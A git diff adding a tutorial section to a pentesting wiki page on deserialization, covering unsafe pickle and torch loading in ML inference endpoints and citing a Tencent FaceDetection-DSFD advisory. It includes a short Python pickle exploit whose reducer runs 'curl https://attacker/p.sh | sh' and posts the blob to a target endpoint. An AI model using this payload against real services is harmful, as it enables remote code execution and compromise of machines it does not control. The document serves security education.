diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 5a25da381b7..efd6da3ca2d 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -234,6 +234,36 @@ python-yaml-deserialization.md ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md {{#endref}} +## Unsafe deserialization in ML/AI inference endpoints + +Modern ML inference deployments frequently expose HTTP/gRPC endpoints that accept serialized Python objects, tensors, or model-specific blobs and immediately feed them into helpers such as `pickle.loads`, `torch.load`, or framework-specific deserializers. When the payload comes from an untrusted client (or from a user opening an attacker-supplied file that is relayed to the inference service), the reducer hooks inside the serialized object execute **before** any model logic, giving the attacker RCE in the inference worker. + +### Attack surface + +- **Binary request handlers** – APIs that expect `application/octet-stream` bodies (e.g., `POST /resnet`) and deserialize them into `numpy`/PyTorch data structures without validating the type graph. +- **Job scheduling bridges** – Desktop apps or web front-ends that upload serialized requests to a queue processed by a backend running as `root`, effectively turning a user interaction (UI:R) into remote execution. +- **Model upgrade/import endpoints** – Some services allow uploading tuned weights or configs via the same endpoint used for inference, reusing unsafe loaders such as `torch.jit.load()` under the hood. + +### Case study – Tencent FaceDetection-DSFD resnet (CVE-2025-13715 / ZDI-25-1183) + +Tencent’s FaceDetection-DSFD exposes a `resnet` endpoint that deserializes user-controlled data. ZDI confirmed that a remote attacker can coerce a victim to load a malicious page/file, have it push a crafted serialized blob to that endpoint, and trigger deserialization as `root`, leading to full compromise. + +The exploit flow mirrors typical pickle abuse: + +```python +import pickle, os, requests + +class Payload: + def __reduce__(self): + return (os.system, ("curl https://attacker/p.sh | sh",)) + +blob = pickle.dumps(Payload()) +requests.post("https://target/api/resnet", data=blob, + headers={"Content-Type": "application/octet-stream"}) +``` + +Any gadget reachable during deserialization (constructors, `__setstate__`, framework callbacks, etc.) can be weaponized the same way, regardless of whether the transport was HTTP, WebSocket, or a file dropped into a watched directory. + ## NodeJS ### JS Magic Functions @@ -1250,5 +1280,7 @@ Industrialized gadget discovery: - [OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine-2/) - [PoC – tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS) - [RSC Report Lab – CVE-2025-55182 (React 19.2.0)](https://github.com/ghe770mvp/RSC_Vuln_Lab) +- [ZDI-25-1183 – Tencent FaceDetection-DSFD resnet deserialization RCE](http://www.zerodayinitiative.com/advisories/ZDI-25-1183/) +- [Tencent FaceDetection-DSFD patch commit a941d089d8ae2df5292a904e79d88649cb58a440](https://github.com/Tencent/FaceDetection-DSFD/commit/a941d089d8ae2df5292a904e79d88649cb58a440) {{#include ../../banners/hacktricks-training.md}}